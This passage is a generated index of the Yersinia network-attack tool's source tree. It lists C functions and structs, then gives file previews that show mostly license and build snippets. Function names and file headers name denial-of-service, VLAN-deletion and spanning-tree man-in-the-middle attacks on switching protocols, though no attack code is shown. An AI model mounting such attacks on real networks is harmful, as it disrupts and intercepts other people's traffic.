type tuple_type_desc (line 74) | struct tuple_type_desc
type in_addr (line 77) | struct in_addr
type terminals (line 80) | struct terminals
FILE: src/protocols.c
type protocol_def (line 64) | struct protocol_def
function protocol_init (line 66) | void
function protocol_free_stats (line 75) | void protocol_free_stats( uint8_t proto )
function protocol_register (line 96) | int8_t protocol_register( u_int8_t proto, const char *name, const char *...
function protocol_register_tlv (line 199) | int8_t
function protocol_register_all (line 215) | void
function protocol_destroy (line 232) | void protocol_destroy( void )
type commands_param (line 252) | struct commands_param
function protocol_proto2index (line 292) | int8_t
function protocol_sort_params (line 314) | void
FILE: src/protocols.h
type u_int32_t (line 30) | typedef uint32_t u_int32_t;
type u_int16_t (line 31) | typedef uint16_t u_int16_t;
type u_int8_t (line 32) | typedef uint8_t u_int8_t;
type term_node (line 80) | struct term_node
type attacks (line 81) | struct attacks
type _attack_definition (line 82) | struct _attack_definition
type pcap_pkthdr (line 83) | struct pcap_pkthdr
type words_array (line 84) | struct words_array
type pcap_data (line 86) | struct pcap_data {
type proto_features (line 93) | struct proto_features {
type commands_param (line 114) | struct commands_param {
type commands_param_extra (line 130) | struct commands_param_extra {
type commands_param_extra_item (line 145) | struct commands_param_extra_item {
type tuple_type_desc (line 152) | struct tuple_type_desc {
type tuple_tlv (line 157) | struct tuple_tlv {
type term_node (line 162) | struct term_node
type attacks (line 163) | struct attacks
type pcap_pkthdr (line 163) | struct pcap_pkthdr
type pcap_data (line 164) | struct pcap_data
type term_node (line 165) | struct term_node
type pcap_data (line 166) | struct pcap_data
type term_node (line 167) | struct term_node
type term_node (line 168) | struct term_node
type term_node (line 169) | struct term_node
type term_node (line 170) | struct term_node
type term_node (line 171) | struct term_node
type protocol_def (line 174) | struct protocol_def {
type protocol_def (line 210) | struct protocol_def
type _attack_definition (line 216) | struct _attack_definition
type proto_features (line 217) | struct proto_features
type commands_param (line 218) | struct commands_param
type commands_param_extra (line 219) | struct commands_param_extra
type tuple_type_desc (line 221) | struct tuple_type_desc
type attack_param (line 221) | struct attack_param
type commands_param (line 225) | struct commands_param
FILE: src/terminal-defs.h
type words_array (line 203) | struct words_array {
type attacks (line 210) | struct attacks {
type attack_param (line 223) | struct attack_param {
type _attack_definition (line 232) | struct _attack_definition {
type pcap_file (line 243) | struct pcap_file {
type protocol (line 252) | struct protocol {
type telnet_option (line 262) | struct telnet_option {
type term_vty (line 269) | struct term_vty {
type filter (line 302) | struct filter {
type term_tty (line 309) | struct term_tty {
type term_console (line 331) | struct term_console {
type term_node (line 338) | struct term_node {
type terminals (line 360) | struct terminals {
type term_types (line 379) | struct term_types {
type term_states (line 386) | struct term_states {
type tlv_options (line 398) | struct tlv_options {
FILE: src/terminal.c
function term_init (line 90) | int8_t
function term_destroy (line 147) | void
function term_add_node (line 173) | int8_t
function term_delete_node (line 309) | void term_delete_node( struct term_node *node, int8_t kill_th )
function term_delete_all (line 378) | void
function term_delete_all_console (line 392) | void
function term_delete_all_tty (line 404) | void
function term_delete_all_vty (line 416) | void
function term_delete_class (line 429) | void
function term_vty_banner (line 447) | int8_t
function term_vty_motd (line 458) | int8_t
function term_motd (line 476) | int8_t
function term_vty_prompt (line 512) | int8_t
function term_vty_negotiate (line 570) | int8_t
function term_write (line 584) | int8_t
function term_vty_mv_cursor_init (line 617) | int8_t
function term_vty_mv_cursor_left (line 642) | int8_t
function term_vty_mv_cursor_right (line 668) | int8_t
function term_vty_mv_cursor_end (line 696) | int8_t
function term_vty_supr (line 723) | int8_t
function term_vty_do_command (line 788) | int8_t
function term_vty_clear_username (line 1016) | void
function term_vty_clear_command (line 1026) | void
function term_vty_exit (line 1038) | int8_t
function term_vty_clear_screen (line 1072) | int8_t
function term_vty_auth (line 1087) | int8_t
function term_vty_history_add (line 1118) | int8_t
function term_vty_history_get_slot (line 1159) | int8_t
function term_vty_history_prev (line 1197) | int8_t term_vty_history_prev( struct term_node *node )
function term_vty_history_next (line 1239) | int8_t term_vty_history_next( struct term_node *node )
function term_vty_complete_command (line 1309) | int8_t
function term_vty_backspace (line 1324) | int8_t
function term_vty_help (line 1396) | int8_t
function term_vty_help_tab (line 1407) | int8_t
function term_vty_clear_remote (line 1456) | int8_t
function term_vty_clear_line (line 1492) | int8_t
function term_vty_flush (line 1526) | int8_t
function term_vty_more (line 1582) | int8_t
function term_vty_write (line 1642) | int8_t
function term_vty_buffer_add (line 1656) | int8_t
function term_vty_set_words (line 1689) | int8_t
function term_vty_free_words (line 1735) | void
function term_vty_tab_subst (line 1752) | int8_t
FILE: src/terminal.h
type telnet_option (line 28) | struct telnet_option
type telnet_option (line 48) | struct telnet_option
type term_states (line 107) | struct term_states
type term_types (line 118) | struct term_types
type terminals (line 125) | struct terminals
type term_node (line 136) | struct term_node
type term_node (line 137) | struct term_node
type term_node (line 142) | struct term_node
type term_node (line 144) | struct term_node
type term_node (line 145) | struct term_node
type term_node (line 146) | struct term_node
type term_node (line 147) | struct term_node
type term_node (line 148) | struct term_node
type term_node (line 149) | struct term_node
type term_node (line 150) | struct term_node
type term_node (line 151) | struct term_node
type term_node (line 153) | struct term_node
type term_node (line 154) | struct term_node
type term_node (line 155) | struct term_node
type term_node (line 156) | struct term_node
type term_node (line 157) | struct term_node
type term_node (line 158) | struct term_node
type term_node (line 159) | struct term_node
type term_node (line 160) | struct term_node
type term_node (line 161) | struct term_node
type term_node (line 162) | struct term_node
type term_node (line 165) | struct term_node
type term_node (line 166) | struct term_node
type term_node (line 167) | struct term_node
type term_node (line 168) | struct term_node
type term_node (line 169) | struct term_node
type term_node (line 170) | struct term_node
type term_node (line 171) | struct term_node
type term_node (line 172) | struct term_node
type term_node (line 173) | struct term_node
type term_node (line 174) | struct term_node
type term_node (line 175) | struct term_node
type words_array (line 175) | struct words_array
type words_array (line 176) | struct words_array
type term_node (line 177) | struct term_node
type term_node (line 187) | struct term_node
type words_array (line 187) | struct words_array
type term_node (line 188) | struct term_node
type words_array (line 188) | struct words_array
type attack_param (line 191) | struct attack_param
type term_node (line 192) | struct term_node
type attack_param (line 192) | struct attack_param
type term_node (line 194) | struct term_node
type term_node (line 195) | struct term_node
type term_tty (line 198) | struct term_tty
FILE: src/thread-util.c
function thread_create (line 103) | int8_t thread_create( THREAD *thread, void *thread_body, void *arg )
function thread_destroy (line 124) | int8_t thread_destroy( THREAD *thread )
function thread_destroy_cancel (line 158) | int8_t
function thread_create_condsem (line 177) | int8_t
function thread_delete_condsem (line 198) | void
function thread_wait_cond (line 209) | int8_t
function thread_wait_cond_timed (line 245) | int8_t
function thread_signal_cond (line 302) | int8_t
function thread_send_broadcast (line 329) | int8_t
function thread_error (line 356) | void
function thread_libnet_error (line 380) | void
function thread_free_r (line 406) | void
function thread_usleep (line 417) | int
FILE: src/thread-util.h
type condsem (line 34) | struct condsem {
type THREAD (line 40) | typedef struct {
type condsem (line 54) | struct condsem
type condsem (line 55) | struct condsem
type condsem (line 56) | struct condsem
type condsem (line 57) | struct condsem
type timeval (line 57) | struct timeval
type condsem (line 58) | struct condsem
type condsem (line 59) | struct condsem
FILE: src/vtp.c
function vtp_register (line 81) | void
function vtp_init_comms_struct (line 100) | int8_t
function vtp_th_send (line 138) | void vtp_th_send( void *arg )
function vtp_th_send_exit (line 166) | void vtp_th_send_exit( struct attacks *attacks )
function vtp_send (line 177) | int8_t
function vtp_th_dos_del_all (line 377) | void
function vtp_generate_md5 (line 510) | int8_t
function vtp_th_dos_del_all_exit (line 563) | void vtp_th_dos_del_all_exit( struct attacks *attacks )
function vtp_th_dos_del (line 576) | void
function vtp_modify_vlan (line 602) | void
function vtp_del_vlan (line 752) | int8_t
function vtp_add_vlan (line 804) | int8_t
function vtp_th_dos_del_exit (line 916) | void vtp_th_dos_del_exit( struct attacks *attacks )
function vtp_th_dos_add (line 929) | void
function vtp_th_dos_add_exit (line 953) | void vtp_th_dos_add_exit( struct attacks *attacks )
function vtp_th_dos_crash (line 965) | void vtp_th_dos_crash( void *arg )
function vtp_th_dos_crash_exit (line 1089) | void
function vtp_init_attribs (line 1100) | int8_t
function vtp_learn_packet (line 1135) | int8_t vtp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *...
type pcap_data (line 1187) | struct pcap_data
type libnet_802_3_hdr (line 1189) | struct libnet_802_3_hdr
type libnet_802_3_hdr (line 1204) | struct libnet_802_3_hdr
type term_node (line 1301) | struct term_node
type vtp_data (line 1303) | struct vtp_data
type vtp_data (line 1318) | struct vtp_data
function vtp_load_values (line 1363) | int8_t
function vtp_update_field (line 1476) | int8_t
function vtp_end (line 1557) | int8_t
FILE: src/vtp.h
type tuple_type_desc (line 36) | struct tuple_type_desc
type tuple_type_desc (line 51) | struct tuple_type_desc
type proto_features (line 81) | struct proto_features
type vlan_info_print (line 89) | struct vlan_info_print {
type vlan_info (line 96) | struct vlan_info {
type vtp_summary (line 106) | struct vtp_summary {
type vtp_subset (line 118) | struct vtp_subset {
type vtp_request (line 127) | struct vtp_request {
type vtp_join (line 136) | struct vtp_join {
type vtp_data (line 148) | struct vtp_data {
type commands_param (line 184) | struct commands_param
type attacks (line 218) | struct attacks
type attacks (line 220) | struct attacks
type attacks (line 222) | struct attacks
type attacks (line 224) | struct attacks
type attacks (line 226) | struct attacks
type attack_param (line 231) | struct attack_param
type attack_param (line 236) | struct attack_param
type _attack_definition (line 247) | struct _attack_definition
type attacks (line 261) | struct attacks
type term_node (line 262) | struct term_node
type attacks (line 263) | struct attacks
type pcap_pkthdr (line 263) | struct pcap_pkthdr
type pcap_data (line 264) | struct pcap_data
type term_node (line 265) | struct term_node
type pcap_data (line 266) | struct pcap_data
type term_node (line 267) | struct term_node
type attacks (line 270) | struct attacks
type term_node (line 272) | struct term_node
type term_node (line 273) | struct term_node
type attacks (line 278) | struct attacks
type interface_data (line 280) | struct interface_data
type interface_data (line 280) | struct interface_data
type pcap_pkthdr (line 280) | struct pcap_pkthdr
type in_addr (line 282) | struct in_addr
type _attack_definition (line 286) | struct _attack_definition
type terminals (line 287) | struct terminals
FILE: src/xstp.c
function xstp_register (line 82) | void
function xstp_init_comms_struct (line 102) | int8_t
function xstp_th_send_bpdu_conf (line 141) | void xstp_th_send_bpdu_conf( void *arg )
function xstp_th_send_bpdu_conf_exit (line 164) | void xstp_th_send_bpdu_conf_exit( struct attacks *attacks )
function xstp_send_all_bpdu_conf (line 173) | int8_t
function xstp_send_bpdu_conf (line 190) | int8_t
function xstp_th_send_bpdu_tcn (line 280) | void xstp_th_send_bpdu_tcn( void *arg )
function xstp_th_send_bpdu_tcn_exit (line 303) | void xstp_th_send_bpdu_tcn_exit(struct attacks *attacks)
function xstp_send_all_bpdu_tcn (line 313) | int8_t
function xstp_send_bpdu_tcn (line 327) | int8_t
function xstp_send_hellos (line 410) | void xstp_send_hellos( void *arg )
function xstp_th_dos_conf (line 475) | void xstp_th_dos_conf( void *arg )
function xstp_th_dos_conf_exit (line 533) | void xstp_th_dos_conf_exit( struct attacks *attacks )
function xstp_th_dos_tcn (line 547) | void xstp_th_dos_tcn( void *arg )
function xstp_th_dos_tcn_exit (line 583) | void xstp_th_dos_tcn_exit( struct attacks *attacks )
function xstp_th_nondos_role (line 599) | void xstp_th_nondos_role( void *arg )
function xstp_th_nondos_role_exit (line 680) | void xstp_th_nondos_role_exit( struct attacks *attacks )
function xstp_send_hellos_mitm (line 696) | void xstp_send_hellos_mitm( void *arg )
function xstp_th_dos_mitm (line 784) | void xstp_th_dos_mitm( void *arg )
function xstp_th_dos_mitm_exit (line 914) | void xstp_th_dos_mitm_exit(struct attacks *attacks)
function xstp_th_nondos_other_role (line 930) | void xstp_th_nondos_other_role( void *arg )
function xstp_th_nondos_other_role_exit (line 981) | void xstp_th_nondos_other_role_exit( struct attacks *attacks )
function xstp_learn_packet (line 996) | int8_t
function xstp_decrement_bridgeid (line 1124) | int8_t
function xstp_increment_bridgeid (line 1156) | int8_t
type pcap_data (line 1181) | struct pcap_data
type libnet_802_3_hdr (line 1183) | struct libnet_802_3_hdr
type libnet_802_3_hdr (line 1196) | struct libnet_802_3_hdr
type term_node (line 1292) | struct term_node
type stp_data (line 1294) | struct stp_data
type stp_data (line 1309) | struct stp_data
function xstp_update_field (line 1370) | int8_t
function xstp_init_attribs (line 1460) | int8_t
function xstp_load_values (line 1519) | int8_t
function xstp_com_version (line 1608) | int8_t
function xstp_com_type (line 1645) | int8_t
function xstp_com_other (line 1693) | int8_t
function xstp_end (line 1704) | int8_t
FILE: src/xstp.h
type xstp_mitm_args (line 68) | struct xstp_mitm_args {
type tuple_type_desc (line 74) | struct tuple_type_desc
type tuple_type_desc (line 81) | struct tuple_type_desc
type tuple_type_desc (line 88) | struct tuple_type_desc
type proto_features (line 99) | struct proto_features
type commands_param (line 137) | struct commands_param
type stp_data (line 174) | struct stp_data { /* STP and Ethernet fields*/
type attacks (line 196) | struct attacks
type attacks (line 197) | struct attacks
type stp_data (line 198) | struct stp_data
type interface_data (line 198) | struct interface_data
type attacks (line 200) | struct attacks
type attacks (line 201) | struct attacks
type stp_data (line 202) | struct stp_data
type interface_data (line 202) | struct interface_data
type attacks (line 204) | struct attacks
type attacks (line 206) | struct attacks
type attacks (line 208) | struct attacks
type attacks (line 210) | struct attacks
type attacks (line 212) | struct attacks
type attack_param (line 221) | struct attack_param
type _attack_definition (line 237) | struct _attack_definition
type attacks (line 255) | struct attacks
type pcap_pkthdr (line 255) | struct pcap_pkthdr
type stp_data (line 256) | struct stp_data
type stp_data (line 257) | struct stp_data
type pcap_data (line 258) | struct pcap_data
type term_node (line 259) | struct term_node
type term_node (line 260) | struct term_node
type term_node (line 261) | struct term_node
type pcap_data (line 262) | struct pcap_data
type term_node (line 263) | struct term_node
type term_node (line 264) | struct term_node
type attacks (line 270) | struct attacks
type interface_data (line 272) | struct interface_data
type interface_data (line 272) | struct interface_data
type pcap_pkthdr (line 272) | struct pcap_pkthdr
type _attack_definition (line 273) | struct _attack_definition
type terminals (line 278) | struct terminals
FILE: src/yersinia.c
type cl_args (line 105) | struct cl_args
type term_node (line 106) | struct term_node
type term_tty (line 140) | struct term_tty
type term_tty (line 140) | struct term_tty
type termios (line 148) | struct termios
type termios (line 148) | struct termios
type cl_args (line 171) | struct cl_args
type cl_args (line 171) | struct cl_args
type cl_args (line 305) | struct cl_args
type cl_args (line 305) | struct cl_args
type term_tty (line 306) | struct term_tty
type term_node (line 307) | struct term_node
type term_tty (line 349) | struct term_tty
function th_tty_peer_exit (line 421) | void
function doloop (line 456) | void
type timeval (line 540) | struct timeval
function th_uptime_exit (line 603) | void
function th_uptime_clean (line 614) | void
function become_daemon (line 626) | void
function write_log (line 647) | void
function go_out_error (line 693) | void
function go_out (line 720) | void
function clean_exit (line 739) | void
function g00dbye (line 760) | void
function init_log (line 819) | void
function finish_log (line 839) | void
function init_attribs (line 858) | int8_t
function handle_signals (line 882) | void
function handle_signals_parent (line 906) | void
function posix_signal (line 929) | int
function final (line 959) | void
function show_vty_motd (line 971) | int8_t
function final_parent (line 991) | void
FILE: src/yersinia.h
type term_tty (line 46) | struct term_tty
type termios (line 47) | struct termios
type term_node (line 50) | struct term_node
type term_node (line 59) | struct term_node
type term_node (line 67) | struct term_node
type term_types (line 75) | struct term_types
Condensed preview — 83 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,272K chars).
[
{
"path": ".gitignore",
"chars": 442,
"preview": "# Object files\n*.o\n*.ko\n*.obj\n*.elf\n*.Po\n\n# Libraries\n*.lib\n*.a\n\n# Shared objects (inc. Windows DLLs)\n*.dll\n*.so\n*.so.*..."
},
{
"path": ".travis.yml",
"chars": 896,
"preview": "language: c\ncompiler:\n - gcc\n - clang\n\nbefore_install:\n - sudo apt-get update -qq\n - sudo apt-get install -y libnet-..."
},
{
"path": "AUTHORS",
"chars": 142,
"preview": "\nAlfredo Andres Omella <aandreswork@hotmail.com>\nDavid Barroso Berrueta <tomac@yersinia.net>\n\nhttp://www.yersinia.net <y..."
},
{
"path": "COPYING",
"chars": 17982,
"preview": "\t\t GNU GENERAL PUBLIC LICENSE\n\t\t Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc...."
},
{
"path": "ChangeLog",
"chars": 9804,
"preview": "CHANGES for Yersinia\n====================\n\n2017/08/24\n----------\n- Version 0.8.2\n- FIX: CL: Fix reversed use of IP addre..."
},
{
"path": "FAQ",
"chars": 5391,
"preview": " yersinia FAQ\n\n INDEX\n\n\n1. General Questions:\n\n 1.1 Where can I get help?\n 1.2 Where did the name come from?..."
},
{
"path": "INSTALL",
"chars": 1860,
"preview": "\nLast release and CVS/SVN repository can be always accessed at\n\n https://github.com/tomac/yersinia\n http:/..."
},
{
"path": "Makefile.am",
"chars": 93,
"preview": "\nSUBDIRS = src\n\nman_MANS = yersinia.8\n\nEXTRA_DIST = $(man_MANS) FAQ THANKS src/yersinia.conf\n"
},
{
"path": "NEWS",
"chars": 0,
"preview": ""
},
{
"path": "README",
"chars": 16303,
"preview": "[](https://travis-ci.org/tomac/yersinia)\n\nSpannin..."
},
{
"path": "README.md",
"chars": 16585,
"preview": "[](https://travis-ci.org/tomac/yersinia)\n\nSpannin..."
},
{
"path": "THANKS",
"chars": 1207,
"preview": "\nYersinia couln't have been possible without our friends support. We would like\nto say thanks to many people but special..."
},
{
"path": "TODO",
"chars": 921,
"preview": "\n- Verify that when deleting a node, the field user is decremented if the\n interface was used by that node.\n\n- VMPS att..."
},
{
"path": "acinclude.m4",
"chars": 4582,
"preview": "dnl\ndnl Copyright (c) 1995, 1996, 1997, 1998\ndnl The Regents of the University of California. All rights reserved.\ndnl..."
},
{
"path": "autogen.sh",
"chars": 4477,
"preview": "#!/bin/sh\n# Run this to generate all the initial makefiles, etc.\n\nsrcdir=`dirname $0`\ntest -z \"$srcdir\" && srcdir=.\n\nDIE..."
},
{
"path": "borra",
"chars": 260,
"preview": "#!/bin/sh\n\nrm -f *~ configure config.cache config.log config.h config.h.in src/config.h src/config.h.in\nrm -f config.st..."
},
{
"path": "configure.ac",
"chars": 24146,
"preview": "dnl\ndnl Process this file with autoconf to produce a configure script.\ndnl\n\nAC_INIT(yersinia, 0.8.2, yersinia@yersinia.n..."
},
{
"path": "src/Makefile.am",
"chars": 1242,
"preview": "\nAUTOMAKE_OPTIONS = no-dependencies\n\nDEFS = `$(LIBNET_CONFIG) --defines` @DEFS@\n\nAM_CPPFLAGS =\n\nLIBS = @LIBS@ -lpcap -ln..."
},
{
"path": "src/admin.c",
"chars": 31827,
"preview": "/* admin.c\n * Network server thread\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandresw..."
},
{
"path": "src/admin.h",
"chars": 3778,
"preview": "/* admin.h\n * Definitions for network server thread\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/arp.c",
"chars": 2155,
"preview": "/* arp.c\n * Implementation and attacks for Address Resolution Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersini..."
},
{
"path": "src/arp.h",
"chars": 2649,
"preview": "/* arp.h\n * Defintions for Address Resolution Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfre..."
},
{
"path": "src/attack.c",
"chars": 9026,
"preview": "/* attack.c\n * Attacks management core\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandr..."
},
{
"path": "src/attack.h",
"chars": 2045,
"preview": "/* attack.h\n * Definitions for attacks management core\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfre..."
},
{
"path": "src/cdp.c",
"chars": 40609,
"preview": "/* cdp.c\n * Implementation and attacks for Cisco Discovery Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.n..."
},
{
"path": "src/cdp.h",
"chars": 11316,
"preview": "/* cdp.h\n * Definitions for Cisco Discovery Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/commands-struct.h",
"chars": 7778,
"preview": "/* commands.h\n * Definitions for Cisco CLI commands structures\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> a..."
},
{
"path": "src/commands.c",
"chars": 55455,
"preview": "/* commands.c\n * Implementation of Cisco CLI commands\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfred..."
},
{
"path": "src/commands.h",
"chars": 2827,
"preview": "/* commands.h\n * Definitions for Cisco CLI commands\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/dhcp.c",
"chars": 66443,
"preview": "/* dhcp.c\n * Implementation for Dynamic Host Configuration Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.n..."
},
{
"path": "src/dhcp.h",
"chars": 24636,
"preview": "/* dhcp.h\n * Definitions for Dynamic Host Configuration Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net>..."
},
{
"path": "src/dlist.c",
"chars": 3922,
"preview": "/* dlist.c\n * Dynamic lists implementation (double linked)\n * taken from http://www.vorlesungen.uos.de/informatik/cc02/s..."
},
{
"path": "src/dlist.h",
"chars": 2183,
"preview": "/* dlist.h\n * Definitions for dynamic lists\n * taken from http://www.vorlesungen.uos.de/informatik/cc02/src/dlist/dlist...."
},
{
"path": "src/dot1q.c",
"chars": 42213,
"preview": "/* dot1q.c\n * Implementation and attacks for IEEE 802.1Q\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alf..."
},
{
"path": "src/dot1q.h",
"chars": 9175,
"preview": "/* dot1q.h\n * Definitions for IEEE 802.1Q\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aa..."
},
{
"path": "src/dot1x.c",
"chars": 24442,
"preview": "/* dot1x.c\n * Implementation and attacks for IEEE 802.1X\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alf..."
},
{
"path": "src/dot1x.h",
"chars": 7431,
"preview": "/* dot1x.h\n * Definitions for IEEE 802.1X\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aa..."
},
{
"path": "src/dtp.c",
"chars": 23444,
"preview": "/* dtp.c\n * Implementation and attacks for Cisco's Dynamic Trunking Protocol\n *\n * Yersinia\n * By David Barroso <tomac@y..."
},
{
"path": "src/dtp.h",
"chars": 7695,
"preview": "/* dtp.h\n * Definitions for Cisco's Dynamic Trunking Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> an..."
},
{
"path": "src/global.h",
"chars": 15191,
"preview": "/* global.h\n * Global definitions and amazing splash ;)\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfr..."
},
{
"path": "src/gtk-callbacks.c",
"chars": 38128,
"preview": "/* gtk_callbacks.c\n * GTK Callbacks\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandresw..."
},
{
"path": "src/gtk-callbacks.h",
"chars": 4200,
"preview": "/* gtk_callbacks.h\n * Definitions GTK callbacks\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andr..."
},
{
"path": "src/gtk-gui.c",
"chars": 6488,
"preview": "/*\n * Initial main.c file generated by Glade. Edit as required.\n * Glade will not overwrite this file.\n */\n\n#ifdef HAVE_..."
},
{
"path": "src/gtk-gui.h",
"chars": 2515,
"preview": "/* gtk-gui.h\n * Definitions for the GTK GUI\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <..."
},
{
"path": "src/gtk-interface.c",
"chars": 77437,
"preview": "/* gtk_interface.c\n *\n * GTK Interface setup\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres..."
},
{
"path": "src/gtk-interface.h",
"chars": 2359,
"preview": "/* gtk_interface.h\n * Definitions for GTK Interfaces\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/gtk-support.c",
"chars": 4533,
"preview": "/* gtk_support.c\n * GTK Support functions\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aa..."
},
{
"path": "src/gtk-support.h",
"chars": 4166,
"preview": "/* gtk_support.h\n * Definitions for GTK Support\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andr..."
},
{
"path": "src/hsrp.c",
"chars": 26191,
"preview": "/* hsrp.c\n * Implementation and attacks for Cisco Hot Standby Router Protocol\n *\n * Yersinia\n * By David Barroso <tomac@..."
},
{
"path": "src/hsrp.h",
"chars": 9585,
"preview": "/* hsrp.h\n * Definitions for Cisco Hot Standby Router Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> a..."
},
{
"path": "src/interfaces.c",
"chars": 43415,
"preview": "/* interfaces.c\n * Network interface utilities and main core for capturing packets\n *\n * Yersinia\n * By David Barroso <t..."
},
{
"path": "src/interfaces.h",
"chars": 5161,
"preview": "/* interfaces.h\n * Definitions for network interfaces and capturing packets\n *\n * Yersinia\n * By David Barroso <tomac@ye..."
},
{
"path": "src/isl.c",
"chars": 8738,
"preview": "/* isl.c\n * Implementation and attacks for Inter-Switch Link Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia..."
},
{
"path": "src/isl.h",
"chars": 7356,
"preview": "/* isl.h\n * Definitions for ISL \n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork..."
},
{
"path": "src/md5-sum.c",
"chars": 1413,
"preview": "/* md5_sum.c\n * Wrapper function for MD5\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aan..."
},
{
"path": "src/md5-sum.h",
"chars": 1123,
"preview": "/* md5_sum.h\n * Definitions for MD5 wrapper function\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/md5.c",
"chars": 12507,
"preview": "/* md5.c\n * This code implements the MD5 message-digest algorithm.\n * The algorithm is due to Ron Rivest. This code was..."
},
{
"path": "src/md5.h",
"chars": 717,
"preview": "\n#ifndef MD5_H\n#define MD5_H\n\n#ifdef SOLARIS\ntypedef uint32_t u_int32_t;\ntypedef uint16_t u_int16_t;\ntypedef uint8_t u_..."
},
{
"path": "src/mpls.c",
"chars": 24353,
"preview": "/* mpls.c\n * Implementation and attacks for MultiProtocol Label Switching\n *\n * Yersinia\n * By David Barroso <tomac@yers..."
},
{
"path": "src/mpls.h",
"chars": 8911,
"preview": "/* mpls.h\n * Definitions for MultiProtocol Label Switching\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and A..."
},
{
"path": "src/ncurses-callbacks.c",
"chars": 39553,
"preview": "/* ncurses-callbacks.c\n * Implementation for ncurses callbacks\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> a..."
},
{
"path": "src/ncurses-callbacks.h",
"chars": 3958,
"preview": "/* ncurses_callbacks.h\n * Definitions for the ncurses callbacks\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net>..."
},
{
"path": "src/ncurses-gui.c",
"chars": 6912,
"preview": "/* ncurses-gui.c\n * Implementation for ncurses GUI\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo A..."
},
{
"path": "src/ncurses-gui.h",
"chars": 2346,
"preview": "/* ncurses-gui.h\n * Definitions for the ncurses GUI\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo..."
},
{
"path": "src/ncurses-interface.c",
"chars": 63013,
"preview": "/* ncurses_interface.c\n * Implementation for ncurses interfaces\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net>..."
},
{
"path": "src/ncurses-interface.h",
"chars": 4557,
"preview": "/* ncurses_iallbacks.h\n * Definitions for the ncurses interfaces\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net>..."
},
{
"path": "src/parser.c",
"chars": 51828,
"preview": "/* parser.c\n * Main command line parser and parser utilities\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and..."
},
{
"path": "src/parser.h",
"chars": 3407,
"preview": "/* parser.h\n * Definitions for command line parser and parser utilities\n *\n * Yersinia\n * By David Barroso <tomac@yersin..."
},
{
"path": "src/protocols.c",
"chars": 9474,
"preview": "/* protocols.c\n * Protocols stuff\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswor..."
},
{
"path": "src/protocols.h",
"chars": 8256,
"preview": "/* protocols.h\n * Definitions for protocol stuff\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo And..."
},
{
"path": "src/terminal-defs.h",
"chars": 11860,
"preview": "/* terminal-defs.h\n * Definitions for lot of things. It must be changed!! :(\n *\n * Yersinia\n * By David Barroso <tomac@y..."
},
{
"path": "src/terminal.c",
"chars": 46060,
"preview": "/* terminal.c\n * Implementation of network terminal management\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> a..."
},
{
"path": "src/terminal.h",
"chars": 9040,
"preview": "/* terminal.h\n * Definitions for network terminal management\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and..."
},
{
"path": "src/thread-util.c",
"chars": 8930,
"preview": "/* thread-util.c\n * Implementation of thread utilities\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfre..."
},
{
"path": "src/thread-util.h",
"chars": 2007,
"preview": "/* thread-util.h\n * Definitions for thread utils\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and Alfredo And..."
},
{
"path": "src/vtp.c",
"chars": 47978,
"preview": "/* vtp.c\n * Implementation and attacks for Cisco's VLAN Trunking Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yers..."
},
{
"path": "src/vtp.h",
"chars": 10764,
"preview": "/* vtp.h\n * Definitions for Cisco's VLAN Trunking Protocol\n *\n * Yersinia\n * By David Barroso <tomac@yersinia.net> and A..."
},
{
"path": "src/xstp.c",
